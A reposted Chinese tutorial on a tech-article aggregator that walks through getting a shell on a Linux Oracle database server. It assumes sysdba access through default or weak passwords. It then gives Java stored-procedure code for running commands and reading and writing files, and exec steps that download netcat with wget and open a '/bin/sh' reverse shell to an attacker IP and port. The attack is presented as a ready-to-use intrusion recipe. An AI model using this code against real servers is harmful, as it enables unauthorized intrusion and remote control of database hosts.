当前位置:  数据库>oracle

Linux下Oracle获取Shell

    来源: 互联网  发布时间:2017-03-22

    本文导语: 转自:浅凝 很多时候对于开放1521端口的Windows下Oracle数据库服务器,因为大多存在默认低权限用户dbsnmp,或者人品爆发高权限的用户(sysdba)是默认密码或弱口令,由此可以通过Oracle的一些提权漏洞获取Oracle的最高权限,直至得到...

转自:浅凝

很多时候对于开放1521端口的Windows下Oracle数据库服务器,因为大多存在默认低权限用户dbsnmp,或者人品爆发高权限的用户(sysdba)是默认密码或弱口令,由此可以通过Oracle的一些提权漏洞获取Oracle的最高权限,直至得到系统的SYSTEM权限。

而对于Linux下的Oracle数据库入侵,因为Linux下一般Oracle数据库都是以Oracle的独立用户在跑,所以无法获取到root权限。当然很多WEB和数据库在同一服务器上的时候,可以导出WEBSHELL到WEB目录来获取权限。然而大部分的数据库都是独立跑在一个服务器上,以下用简单的方式获取Oracle的shell,即采用nc反弹的shell的方式。

1、Oracle数据库支持JAVA(如Windows下入侵一般)

2、通过Oracle客户端sqlplus,以sysdba用户登录(dbsnmp用户可提权至sysdba)

3、执行以下代码:

CODE_1:

create or replace and resolve java source named "oraexec" as
import java.lang.*;
import java.io.*;
public class oraexec
{
 /*
  * Command execution module
  */
 public static void execCommand(String command) throws IOException
 {
  Runtime.getRuntime().exec(command);
 }










 /*
  * File reading module
  */
 public static void readFile(String filename) throws IOException
 {
  FileReader f = new FileReader(filename);
  BufferedReader fr = new BufferedReader(f);
  String text = fr.readLine();
  while (text != null) {
   System.out.println(text);
   text = fr.readLine();
  }
  fr.close();
 }












 /*
  * File writing module
  */
 public static void writeFile(String filename, String line) throws IOException
 {
  FileWriter f = new FileWriter(filename, true); /* append */
  BufferedWriter fw = new BufferedWriter(f);
  fw.write(line);
  fw.write("n");
  fw.close();
 }
}










============================================

CODE_2:

-- usage: exec javacmd('command');
create or replace procedure javacmd(p_command varchar2) as
language java          
name 'oraexec.execCommand(java.lang.String)';


===========================================

CODE_3:

-- usage: exec dbms_java.set_output(2000);
--        set serveroutput on;
--        exec javareadfile('/path/to/file');
create or replace procedure javareadfile(p_filename in varchar2) as
language java
name 'oraexec.readFile(java.lang.String)';




============================================

CODE_4:

-- usage: exec javawritefile('/path/to/file', 'line to append');
create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as
language java
name 'oraexec.writeFile(java.lang.String, java.lang.String)';


4、

exec javawritefile('/tmp/getnc', 'wget http://www/nc -O /tmp/nc');  //写入wget nc 命令到文件getnc

exec dbms_java.set_output(2000);   //设置javareadfile

set serveroutput on;

exec javareadfile('/tmp/getnc');  //读取文件查看是否写入成功

exec javacmd('/bin/sh /tmp/getnc'); //执行命令下载nc

exec javareadfile('/tmp/nc');   //查看nc是否下载成功

exec javawritefile('/tmp/shell', '/tmp/nc IP port -e /bin/sh'); //写入反弹命令

exec javareadfile('/tmp/shell');  //读取文件查看是否写入成功

exec javacmd('/bin/sh /tmp/shell'); //执行nc反弹shell,在本地nc监听就能得到shell,如果不行,请确认防火墙


    
 
 

您可能感兴趣的文章:

  • linux不用命令方式读文件获取网络流量,如何使用C函数调用获取网络流量信息?
  • linux获取主机名后用gethostbyname() 不能获取主机ip
  • 新手问题:Linux下如何获取进程占用的系统资源
  • LINUX下获取WINDOWS用户(组)和系统服务?
  • 关于在linux获取系统软件信息
  • linux dhcpv6概率获取不到地址
  • linux 内核空间如何获取当前时间(常用格式)
  • Linux下如何获取屏幕分辨率?
  • Linux 如何获取 所有的接口信息
  • linux程序获取显示器个数
  • 怎样获取超过4G的Linux Regular文件的大下?
  • 如何获取应用程序的当前路径(Linux)
  • 急,请问Linux中如何像windows获取网络接口是否插入网线???
  • Linux下蓝牙命令.如何获取主类信息
  • linux如何获取当前程序ID并用shell脚本停止进程
  • linux /proc 的问题。以及获取子进程虚拟内存信息。
  • Linux系统下如何获取STL帮助
  • linux如何获取在浏览器或者文本编辑器中复制的内容
  • linux下如何用C语言获取不同网段上设备的MAC地址
  • linux内核层面,有什么好的获取时间的函数
  • linux下安装oracle后使用命令行启动的方法 linux启动oracle
  • 在linux下安装oracle,如何设置让oracle自动启动!也就是让oracle那个服务自动启动,不是手动的
  • Linux系统下Oracle的启动与Oracle监听的启动
  • 在linux 中如何删除oracle db 与卸载oracle.
  • 如何将Aix上的oracle 物理备份 然后再在linux 系统上还原oracle
  • 那里有免费的oracle odbc driver for linux?或怎么破解easysoft oracle odbc driver安装包?急
  • XP Oracle客户端进入Linux Oracle服务端
  • Linux /$ORACLE_HOME $ORACLE_HOME
  • 在Red Hat Linux 9 和 Oracle 9.2 环境下,如何配制字符集,让Oracle能存入并显示日语里的假名?
  • 红帽Linux表示Oracle提供Linux支持是不完美的
  • Linux+Oracle学习笔记
  •  
    本站(WWW.)旨在分享和传播互联网科技相关的资讯和技术,将尽最大努力为读者提供更好的信息聚合和浏览方式。
    本站(WWW.)站内文章除注明原创外,均为转载、整理或搜集自网络。欢迎任何形式的转载,转载请注明出处。












  • 相关文章推荐
  • linux bash shell命令:grep文本搜索工具简介
  • 小弟没写过shell,求解 linux shell 命令
  • Linux下指定运行时加载动态库路径及shell下执行程序默认路径
  • Linux命令、编辑器与Shell编程 和 UNIX SHELL范例精解(第4版) 区别大么?
  • linux bash shell命令:文本搜索工具grep中用于egrep和 grep -E的元字符扩展集
  • redhat linux7.2/7.3,SHELL下,reboot是重启,那么要在SHELL下关机是什么命令???
  • linux bash shell命令:文本搜索工具Grep命令选项及实例
  • linux下的shell可以做出什么应用
  • linux bash shell命令:文本搜索工具grep正则表达式元字符集(基本集)
  • 红帽Linux表示Oracle提供Linux支持是不完美的 iis7站长之家
  • linux下的shell到底怎么搞啊
  • Linux程序中运行shell命令
  • 谁有linux shell编程方面比较好的语法资料哦?
  • linux下的shell问题!!!
  • shell是不是就是linux的命令?
  • 不同发行版本的linux的系统管理和shell编程一样吗?
  • Linux的SHELL程序 hsh
  • linux的shell的参数个数限制
  • linux shell脚本不重复在后台运行,急急急
  • 在Linux Shell scripts下变量如何取linux的命令运行值
  • Linux shell 可以实现连接数据库吗?
  • linux c/c++ IP字符串转换成可比较大小的数字
  • 在win分区上安装linux和独立分区安装linux有什么区别?可以同时安装吗?(两个linux系统)
  • linux哪个版本好?linux操作系统版本详细介绍及选择方案推荐
  • 在虚拟机上安装的linux上,能像真的linux系统一样开发linux程序么?
  • secureCRT下Linux终端汉字乱码解决方法
  • 我重装window后,把linux的引导区覆盖了,进不了linux怎么办?急啊,望热心的人帮助 (现在有linux的盘)
  • Linux c字符串中不可打印字符转换成16进制
  • 安装vmware软件,不用再安装linux系统,就可以模拟linux系统了,然后可以在其上学习一下LINUX下的基本操作 了?
  • Linux常用命令介绍:更改所属用户群组或档案属性
  • 红旗Linux主机可以通过127.0.0.1访问,但如何是连网的Win2000机器通过Linux的IP去访问Linux


  • 站内导航:


    特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

    ©2012-2021,,E-mail:www_#163.com(请将#改为@)

    浙ICP备11055608号-3